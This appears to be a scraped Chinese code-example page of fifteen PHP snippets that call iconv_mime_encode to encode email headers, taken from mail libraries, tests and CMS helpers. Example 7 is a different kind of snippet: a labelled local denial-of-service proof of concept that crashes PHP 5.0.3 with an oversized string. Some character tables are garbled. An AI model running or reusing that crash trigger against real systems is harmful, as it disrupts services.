本文整理汇总了PHP中iconv_mime_encode函数的典型用法代码示例。如果您正苦于以下问题:PHP iconv_mime_encode函数的具体用法?PHP iconv_mime_encode怎么用?PHP iconv_mime_encode使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了iconv_mime_encode函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: _format_headers
function _format_headers($headers)
{
$preferences = array('input-charset' => 'utf-8', 'output-charset' => 'UTF-8', 'line-length' => 76, 'line-break-chars' => "\n", 'scheme' => 'Q');
return \implode("\r\n", \array_map(function ($k, $v) {
return \iconv_mime_encode($k, $v, $preferences);
}, \array_keys($headers), $headers));
}
示例2: testIconvMimeEncode
/**
* @covers Symfony\Polyfill\Iconv\Iconv::iconv_mime_encode
*/
public function testIconvMimeEncode()
{
if (defined('HHVM_VERSION')) {
$this->markTestSkipped('HHVM incompatible.');
}
$text = "テストテスト";
$options = array('scheme' => 'Q', 'input-charset' => 'UTF-8', 'output-charset' => 'UTF-8', 'line-length' => 30);
$this->assertSame("Subject: =?UTF-8?Q?=E3=83=86?=\r\n =?UTF-8?Q?=E3=82=B9?=\r\n =?UTF-8?Q?=E3=83=88?=\r\n =?UTF-8?Q?=E3=83=86?=\r\n =?UTF-8?Q?=E3=82=B9?=\r\n =?UTF-8?Q?=E3=83=88?=", iconv_mime_encode('Subject', $text, $options));
}
示例3: __toString
/**
* return the vacation Sieve code
*
* @return string
*/
public function __toString()
{
$days = ":days {$this->_days} ";
$from = !empty($this->_from) ? ":from {$this->_quoteString($this->_from)} " : null;
$addresses = count($this->_addresses) > 0 ? ":addresses {$this->_quoteString($this->_addresses)} " : null;
if (!empty($this->_subject)) {
$subject = iconv_mime_encode(null, $this->_subject, array('scheme' => 'Q', 'line-length' => 500));
$subject = ':subject ' . $this->_quoteString(substr($subject, 2)) . ' ';
} else {
$subject = null;
}
$reason = $this->_reason;
$plaintextReason = $this->_getPlaintext($reason);
if (!empty($this->_mime)) {
$mime = ':mime ';
$contentType = 'Content-Type: ' . $this->_mime;
if ($this->_mime == self::MIME_TYPE_MULTIPART_ALTERNATIVE) {
// @todo use Zend_Mime ?
$contentType .= "; boundary=foo\r\n\r\n";
$reason = sprintf("--foo\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\n%s\r\n\r\n" . "--foo\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n%s\r\n\r\n" . "--foo--", $plaintextReason, $reason);
} else {
$contentType .= "; charset=UTF-8\r\n\r\n";
}
if ($this->_mime == self::MIME_TYPE_TEXT_PLAIN) {
$reason = $plaintextReason;
}
} else {
$mime = null;
$contentType = null;
$reason = $plaintextReason;
}
$vacation = sprintf("vacation %s%s%s%s%stext:\r\n%s%s\r\n.\r\n;", $days, $subject, $from, $addresses, $mime, $contentType, $reason);
if ($this->useDates()) {
$conditions = array();
if ($this->_enddate !== NULL) {
$conditions[] = 'currentdate :value "le" "date" "' . $this->_enddate . '"';
}
if ($this->_startdate !== NULL) {
$conditions[] = 'currentdate :value "ge" "date" "' . $this->_startdate . '"';
}
if (count($conditions) > 0) {
$vacation = 'if allof(' . implode(",\r\n", $conditions) . ")\r\n{" . $vacation . "}\r\n";
}
}
return $vacation;
}
示例4: composeEmailAddress
/**
* Returns ezcMailAddress $item as a RFC822 compliant address string.
*
* Example:
* <code>
* composeEmailAddress( new ezcMailAddress( 'sender@example.com', 'John Doe' ) );
* </code>
*
* Returns:
* <pre>
* John Doe <sender@example.com>
* </pre>
*
* The name part of $item will be surrounded by quotes if it contains any of
* these characters: , @ < > : ; ' "
*
* @param ezcMailAddress $item
* @return string
*/
public static function composeEmailAddress(ezcMailAddress $item)
{
$name = trim($item->name);
if ($name !== '') {
// remove the quotes around the name part if they are already there
if ($name[0] === '"' && $name[strlen($name) - 1] === '"') {
$name = substr($name, 1, -1);
}
// add slashes to " and \ and surround the name part with quotes
if (strpbrk($name, ",@<>:;'\"") !== false) {
$name = str_replace('\\', '\\\\', $name);
$name = str_replace('"', '\\"', $name);
$name = "\"{$name}\"";
}
switch (strtolower($item->charset)) {
case 'us-ascii':
$text = $name . ' <' . $item->email . '>';
break;
case 'iso-8859-1':
case 'iso-8859-2':
case 'iso-8859-3':
case 'iso-8859-4':
case 'iso-8859-5':
case 'iso-8859-6':
case 'iso-8859-7':
case 'iso-8859-8':
case 'iso-8859-9':
case 'iso-8859-10':
case 'iso-8859-11':
case 'iso-8859-12':
case 'iso-8859-13':
case 'iso-8859-14':
case 'iso-8859-15':
case 'iso-8859-16':
case 'windows-1250':
case 'windows-1251':
case 'windows-1252':
case 'utf-8':
if (strpbrk($name, "€�‚ƒ„…†‡�‰�‹�����‘’“”•–—�™�›���� ΅Ά£¤¥¦§¨©�«¬®―°±²³΄µ¶·ΈΉΊ»Ό½ΎΏΐΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡ�ΣΤΥΦΧΨΩΪΫάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώ�") === false) {
$text = $name . ' <' . $item->email . '>';
break;
}
// break intentionally missing
// break intentionally missing
default:
$preferences = array('input-charset' => $item->charset, 'output-charset' => $item->charset, 'scheme' => 'Q', 'line-break-chars' => ezcMailTools::lineBreak());
$name = iconv_mime_encode('dummy', $name, $preferences);
$name = substr($name, 7);
// "dummy: " + 1
$text = $name . ' <' . $item->email . '>';
break;
}
} else {
$text = $item->email;
}
return $text;
}
示例5: _prep_q_encoding
/**
* Prep Q Encoding
*
* Performs "Q Encoding" on a string for use in email headers.
* It's related but not identical to quoted-printable, so it has its
* own method.
*
* @param string
* @return string
*/
protected function _prep_q_encoding($str)
{
$str = str_replace(array("\r", "\n"), '', $str);
if ($this->charset === 'UTF-8') {
if (MB_ENABLED === TRUE) {
return mb_encode_mimeheader($str, $this->charset, 'Q', $this->crlf);
} elseif (ICONV_ENABLED === TRUE) {
$output = @iconv_mime_encode('', $str, array('scheme' => 'Q', 'line-length' => 76, 'input-charset' => $this->charset, 'output-charset' => $this->charset, 'line-break-chars' => $this->crlf));
// There are reports that iconv_mime_encode() might fail and return FALSE
if ($output !== FALSE) {
// iconv_mime_encode() will always put a header field name.
// We've passed it an empty one, but it still prepends our
// encoded string with ': ', so we need to strip it.
return substr($output, 2);
}
$chars = iconv_strlen($str, 'UTF-8');
}
}
// We might already have this set for UTF-8
isset($chars) or $chars = strlen($str);
$output = '=?' . $this->charset . '?Q?';
for ($i = 0, $length = strlen($output); $i < $chars; $i++) {
$chr = $this->charset === 'UTF-8' && ICONV_ENABLED === TRUE ? '=' . implode('=', str_split(strtoupper(bin2hex(iconv_substr($str, $i, 1, $this->charset))), 2)) : '=' . strtoupper(bin2hex($str[$i]));
// RFC 2045 sets a limit of 76 characters per line.
// We'll append ?= to the end of each line though.
if ($length + ($l = strlen($chr)) > 74) {
$output .= '?=' . $this->crlf . ' =?' . $this->charset . '?Q?' . $chr;
// New line
$length = 6 + strlen($this->charset) + $l;
// Reset the length for the new line
} else {
$output .= $chr;
$length += $l;
}
}
// End the header
return $output . '?=';
}
示例6: getFormatedMimeHeadder
private function getFormatedMimeHeadder($value)
{
$preferences = array("input-charset" => $this->getCharset(), "output-charset" => "UTF-8", "line-break-chars" => PHP_EOL, "scheme" => 'Q');
$formated_header = substr(iconv_mime_encode("", $value, $preferences), 2);
return $formated_header;
}
示例7: iconv_mime_encode
iconv_mime_encode()
<?php
// ==================================================================================
//
// PHP 5.0.3 iconv_mime_encode() Local Denial of Service
//
// Tested on WIN XP, Apache, PHP 5.0.3. Local Denial of Service.
//
// Local Denial of Service
// Author: Pr0T3cT10n <pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com>>
// http://www.nullbyte.org.il
//
// ==================================================================================
$buff = str_repeat("A", 9999);
iconv_mime_encode($buff, 1);
?>
imageftbbox()
<?php
// ==================================================================================
//
// PHP 5.0.3 imageftbbox() Local Denial of Service
//
// Tested on WIN XP, Apache, PHP 5.0.3. Local Denial of Service.
//
// Local Denial of Service
// Author: Pr0T3cT10n <pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com>>
// http://www.nullbyte.org.il
//
// ==================================================================================
示例8: _encodeHeaders
/**
* Encodes a header as per RFC2047
*
* @param array $input The header data to encode
* @param array $params Extra build parameters
*
* @return array Encoded data
* @access private
*/
function _encodeHeaders($input, $params = array())
{
$build_params = $this->_build_params;
while (list($key, $value) = each($params)) {
$build_params[$key] = $value;
}
//$hdr_name: Name of the heaer
//$hdr_value: Full line of header value.
//$hdr_value_out: The recombined $hdr_val-atoms, or the encoded string.
$useIconv = true;
if (isset($build_params['ignore-iconv'])) {
$useIconv = !$build_params['ignore-iconv'];
}
foreach ($input as $hdr_name => $hdr_value) {
if (preg_match('#([\\x80-\\xFF]){1}#', $hdr_value)) {
if (function_exists('iconv_mime_encode') && $useIconv) {
$imePrefs = array();
if ($build_params['head_encoding'] == 'base64') {
$imePrefs['scheme'] = 'B';
} else {
$imePrefs['scheme'] = 'Q';
}
$imePrefs['input-charset'] = $build_params['head_charset'];
$imePrefs['output-charset'] = $build_params['head_charset'];
$imePrefs['line-length'] = 74;
$imePrefs['line-break-chars'] = "\r\n";
//Specified in RFC2047
$hdr_value = iconv_mime_encode($hdr_name, $hdr_value, $imePrefs);
$hdr_value = preg_replace("#^{$hdr_name}\\:\\ #", "", $hdr_value);
} elseif ($build_params['head_encoding'] == 'base64') {
//Base64 encoding has been selected.
//Base64 encode the entire string
$hdr_value = base64_encode($hdr_value);
//Generate the header using the specified params and dynamicly
//determine the maximum length of such strings.
//75 is the value specified in the RFC. The first -2 is there so
//the later regexp doesn't break any of the translated chars.
//The -2 on the first line-regexp is to compensate for the ": "
//between the header-name and the header value
$prefix = '=?' . $build_params['head_charset'] . '?B?';
$suffix = '?=';
$maxLength = 75 - strlen($prefix . $suffix) - 2;
$maxLength1stLine = $maxLength - strlen($hdr_name) - 2;
//We can cut base4 every 4 characters, so the real max
//we can get must be rounded down.
$maxLength = $maxLength - $maxLength % 4;
$maxLength1stLine = $maxLength1stLine - $maxLength1stLine % 4;
$cutpoint = $maxLength1stLine;
$hdr_value_out = $hdr_value;
$output = "";
while ($hdr_value_out) {
//Split translated string at every $maxLength
$part = substr($hdr_value_out, 0, $cutpoint);
$hdr_value_out = substr($hdr_value_out, $cutpoint);
$cutpoint = $maxLength;
//RFC 2047 specifies that any split header should
//be seperated by a CRLF SPACE.
if ($output) {
$output .= "\r\n ";
}
$output .= $prefix . $part . $suffix;
}
$hdr_value = $output;
} else {
//quoted-printable encoding has been selected
//Fix for Bug #10298, Ota Mares <om@viazenetti.de>
//Check if there is a double quote at beginning or end of
//the string to prevent that an open or closing quote gets
//ignored because it is encapsuled by an encoding pre/suffix.
//Remove the double quote and set the specific prefix or
//suffix variable so that we can concat the encoded string and
//the double quotes back together to get the intended string.
$quotePrefix = $quoteSuffix = '';
if ($hdr_value[0] == '"') {
$hdr_value = substr($hdr_value, 1);
$quotePrefix = '"';
}
if ($hdr_value[strlen($hdr_value) - 1] == '"') {
$hdr_value = substr($hdr_value, 0, -1);
$quoteSuffix = '"';
}
//Generate the header using the specified params and dynamicly
//determine the maximum length of such strings.
//75 is the value specified in the RFC. The -2 is there so
//the later regexp doesn't break any of the translated chars.
//The -2 on the first line-regexp is to compensate for the ": "
//between the header-name and the header value
$prefix = '=?' . $build_params['head_charset'] . '?Q?';
$suffix = '?=';
$maxLength = 75 - strlen($prefix . $suffix) - 2 - 1;
$maxLength1stLine = $maxLength - strlen($hdr_name) - 2;
//.........这里部分代码省略.........
示例9: COM_emailEscape
/**
* Encode a string such that it can be used in an email header
*
* @param string $string the text to be encoded
* @return string encoded text
*
*/
function COM_emailEscape($string)
{
global $_CONF;
if (function_exists('CUSTOM_emailEscape')) {
return CUSTOM_emailEscape($string);
}
$charset = COM_getCharset();
if ($charset == 'utf-8' && $string != utf8_decode($string)) {
if (function_exists('iconv_mime_encode')) {
$mime_parameters = array('input-charset' => 'utf-8', 'output-charset' => 'utf-8', 'scheme' => 'Q');
$string = substr(iconv_mime_encode('', $string, $mime_parameters), 2);
} else {
$string = '=?' . $charset . '?B?' . base64_encode($string) . '?=';
}
} else {
if (preg_match('/[^0-9a-z\\-\\.,:;\\?! ]/i', $string)) {
$string = '=?' . $charset . '?B?' . base64_encode($string) . '?=';
}
}
return $string;
}
示例10: _encodeHeaders
/**
* Encodes a header as per RFC2047
*
* @param array $input The header data to encode
* @return array Encoded data
* @access private
*/
function _encodeHeaders($input)
{
foreach ($input as $hdr_name => $hdr_value) {
if (function_exists('iconv_mime_encode') && preg_match('#[\\x80-\\xFF]{1}#', $hdr_value)) {
$imePref = array();
if ($this->_build_params['head_encoding'] == 'base64') {
$imePrefs['scheme'] = 'B';
} else {
$imePrefs['scheme'] = 'Q';
}
$imePrefs['input-charset'] = $this->_build_params['head_charset'];
$imePrefs['output-charset'] = $this->_build_params['head_charset'];
$hdr_value = iconv_mime_encode($hdr_name, $hdr_value, $imePrefs);
$hdr_value = preg_replace("#^{$hdr_name}\\:\\ #", "", $hdr_value);
} elseif (preg_match('#[\\x80-\\xFF]{1}#', $hdr_value)) {
//This header contains non ASCII chars and should be encoded.
switch ($this->_build_params['head_encoding']) {
case 'base64':
//Base64 encoding has been selected.
//Generate the header using the specified params and dynamicly
//determine the maximum length of such strings.
//75 is the value specified in the RFC. The -2 is there so
//the later regexp doesn't break any of the translated chars.
$prefix = '=?' . $this->_build_params['head_charset'] . '?B?';
$suffix = '?=';
$maxLength = 75 - strlen($prefix . $suffix) - 2;
$maxLength1stLine = $maxLength - strlen($hdr_name);
//Base64 encode the entire string
$hdr_value = base64_encode($hdr_value);
//This regexp will break base64-encoded text at every
//$maxLength but will not break any encoded letters.
$reg1st = "|.{0,{$maxLength1stLine}}[^\\=][^\\=]|";
$reg2nd = "|.{0,{$maxLength}}[^\\=][^\\=]|";
break;
case 'quoted-printable':
default:
//quoted-printable encoding has been selected
//Generate the header using the specified params and dynamicly
//determine the maximum length of such strings.
//75 is the value specified in the RFC. The -2 is there so
//the later regexp doesn't break any of the translated chars.
$prefix = '=?' . $this->_build_params['head_charset'] . '?Q?';
$suffix = '?=';
$maxLength = 75 - strlen($prefix . $suffix) - 2;
$maxLength1stLine = $maxLength - strlen($hdr_name);
//Replace all special characters used by the encoder.
$search = array("=", "_", "?", " ");
$replace = array("=3D", "=5F", "=3F", "_");
$hdr_value = str_replace($search, $replace, $hdr_value);
//Replace all extended characters (\x80-xFF) with their
//ASCII values.
$hdr_value = preg_replace('#([\\x80-\\xFF])#e', '"=" . strtoupper(dechex(ord("\\1")))', $hdr_value);
//This regexp will break QP-encoded text at every $maxLength
//but will not break any encoded letters.
$reg1st = "|(.{0,{$maxLength}})[^\\=]|";
$reg2nd = "|(.{0,{$maxLength}})[^\\=]|";
break;
}
//Begin with the regexp for the first line.
$reg = $reg1st;
$output = "";
while ($hdr_value) {
//Split translated string at every $maxLength
//But make sure not to break any translated chars.
$found = preg_match($reg, $hdr_value, $matches);
//After this first line, we need to use a different
//regexp for the first line.
$reg = $reg2nd;
//Save the found part and encapsulate it in the
//prefix & suffix. Then remove the part from the
//$hdr_value variable.
if ($found) {
$part = $matches[0];
$hdr_value = substr($hdr_value, strlen($matches[0]));
} else {
$part = $hdr_value;
$hdr_value = "";
}
//RFC 2047 specifies that any split header should be seperated
//by a CRLF SPACE.
if ($output) {
$output .= "\r\n ";
}
$output .= $prefix . $part . $suffix;
}
$hdr_value = $output;
}
$input[$hdr_name] = $hdr_value;
}
return $input;
}
示例11: encode_msg
/**
* 信息编码
*
* @param string $str 待编码的字符
* @return string
*/
function encode_msg($str)
{
$preferences = array('input-charset' => 'UTF-8', 'output-charset' => 'GBK', 'scheme' => 'B');
return substr(@iconv_mime_encode('', $str, $preferences), 2);
}
示例12: isset
#!/usr/bin/env php
<?php
$value = $argv[1];
$charset = isset($argv[2]) ? $argv[2] : 'UTF-8';
$scheme = isset($argv[3]) ? $argv[3] : 'B';
if (!mb_check_encoding($argv[1], 'UTF-8')) {
$value = mb_convert_encoding($value, 'UTF-8');
}
$encoded = mb_substr(iconv_mime_encode('', $value, ['input-charset' => 'UTF-8', 'output-charset' => $charset, 'scheme' => $scheme]), 2);
echo "Encoded: {$encoded}\n";
$decoded = iconv_mime_decode($encoded, 0, 'UTF-8');
echo "{$decoded} ", $decoded == $argv[1] ? 'equal' : 'not equal', "\n\n";
exit;
示例13: var_dump
<?php
var_dump(iconv_mime_encode('', ''));
var_dump(iconv_mime_encode('', '', array('line-break-chars' => 1)));
示例14: encodeQuotedPrintable
/**
* Encode into a quoted printable encoded string.
*
* @author Elan Ruusamäe <glen@delfi.ee>
* @see Zend_Mime::_encodeQuotedPrintable
* @param string $string The string in APP_CHARSET encoding
* @return string encoded string
*/
public static function encodeQuotedPrintable($string)
{
if (function_exists('iconv_mime_encode')) {
// avoid any wrapping by specifying line length long enough
// "test" -> 4
// ": =?ISO-8859-1?B?dGVzdA==?=" -> 27
// 3 +2 +10 +3 +7 + 3
$line_length = strlen($string) * 4 + strlen(APP_CHARSET) + 11;
$params = array('input-charset' => APP_CHARSET, 'output-charset' => APP_CHARSET, 'line-length' => $line_length);
$string = iconv_mime_encode('', $string, $params);
return substr($string, 2);
}
// lookup-Tables for QuotedPrintable
$qpKeys = array("", "", "", "", "", "", "", "", "", "\t", "\n", "\v", "\f", "\r", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�");
$qpReplaceValues = array('=00', '=01', '=02', '=03', '=04', '=05', '=06', '=07', '=08', '=09', '=0A', '=0B', '=0C', '=0D', '=0E', '=0F', '=10', '=11', '=12', '=13', '=14', '=15', '=16', '=17', '=18', '=19', '=1A', '=1B', '=1C', '=1D', '=1E', '=1F', '=7F', '=80', '=81', '=82', '=83', '=84', '=85', '=86', '=87', '=88', '=89', '=8A', '=8B', '=8C', '=8D', '=8E', '=8F', '=90', '=91', '=92', '=93', '=94', '=95', '=96', '=97', '=98', '=99', '=9A', '=9B', '=9C', '=9D', '=9E', '=9F', '=A0', '=A1', '=A2', '=A3', '=A4', '=A5', '=A6', '=A7', '=A8', '=A9', '=AA', '=AB', '=AC', '=AD', '=AE', '=AF', '=B0', '=B1', '=B2', '=B3', '=B4', '=B5', '=B6', '=B7', '=B8', '=B9', '=BA', '=BB', '=BC', '=BD', '=BE', '=BF', '=C0', '=C1', '=C2', '=C3', '=C4', '=C5', '=C6', '=C7', '=C8', '=C9', '=CA', '=CB', '=CC', '=CD', '=CE', '=CF', '=D0', '=D1', '=D2', '=D3', '=D4', '=D5', '=D6', '=D7', '=D8', '=D9', '=DA', '=DB', '=DC', '=DD', '=DE', '=DF', '=E0', '=E1', '=E2', '=E3', '=E4', '=E5', '=E6', '=E7', '=E8', '=E9', '=EA', '=EB', '=EC', '=ED', '=EE', '=EF', '=F0', '=F1', '=F2', '=F3', '=F4', '=F5', '=F6', '=F7', '=F8', '=F9', '=FA', '=FB', '=FC', '=FD', '=FE', '=FF');
$string = str_replace('=', '=3D', $string);
$string = str_replace($qpKeys, $qpReplaceValues, $string);
return rtrim($string);
}
示例15: composeEmailAddress
/**
* Returns ezcMailAddress $item as a RFC822 compliant address string.
*
* Example:
* <code>
* composeEmailAddress( new ezcMailAddress( 'sender@example.com', 'John Doe' ) );
* </code>
*
* Returns:
* <pre>
* John Doe <sender@example.com>
* </pre>
*
* The name part of $item will be surrounded by quotes if it contains any of
* these characters: , @ < > : ; ' "
*
* @param ezcMailAddress $item
* @return string
*/
public static function composeEmailAddress( ezcMailAddress $item )
{
$name = trim( $item->name );
if ( $name !== '' )
{
// remove the quotes around the name part if they are already there
if ( $name{0} === '"' && $name{strlen( $name ) - 1} === '"' )
{
$name = substr( $name, 1, -1 );
}
// add slashes to " and \ and surround the name part with quotes
if ( strpbrk( $name, ",@<>:;'\"" ) !== false )
{
$name = str_replace( '\\', '\\\\', $name );
$name = str_replace( '"', '\"', $name );
$name = "\"{$name}\"";
}
switch ( strtolower( $item->charset ) )
{
case 'us-ascii':
$text = $name . ' <' . $item->email . '>';
break;
case 'iso-8859-1': case 'iso-8859-2': case 'iso-8859-3': case 'iso-8859-4':
case 'iso-8859-5': case 'iso-8859-6': case 'iso-8859-7': case 'iso-8859-8':
case 'iso-8859-9': case 'iso-8859-10': case 'iso-8859-11': case 'iso-8859-12':
case 'iso-8859-13': case 'iso-8859-14': case 'iso-8859-15' :case 'iso-8859-16':
case 'windows-1250': case 'windows-1251': case 'windows-1252':
case 'utf-8':
if ( strpbrk( $name, "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) === false )
{
$text = $name . ' <' . $item->email . '>';
break;
}
// break intentionally missing
default:
$preferences = array(
'input-charset' => $item->charset,
'output-charset' => $item->charset,
'scheme' => 'Q',
'line-break-chars' => ezcMailTools::lineBreak()
);
$name = iconv_mime_encode( 'dummy', $name, $preferences );
$name = substr( $name, 7 ); // "dummy: " + 1
$text = $name . ' <' . $item->email . '>';
break;
}
}
else
{
$text = $item->email;
}
return $text;
}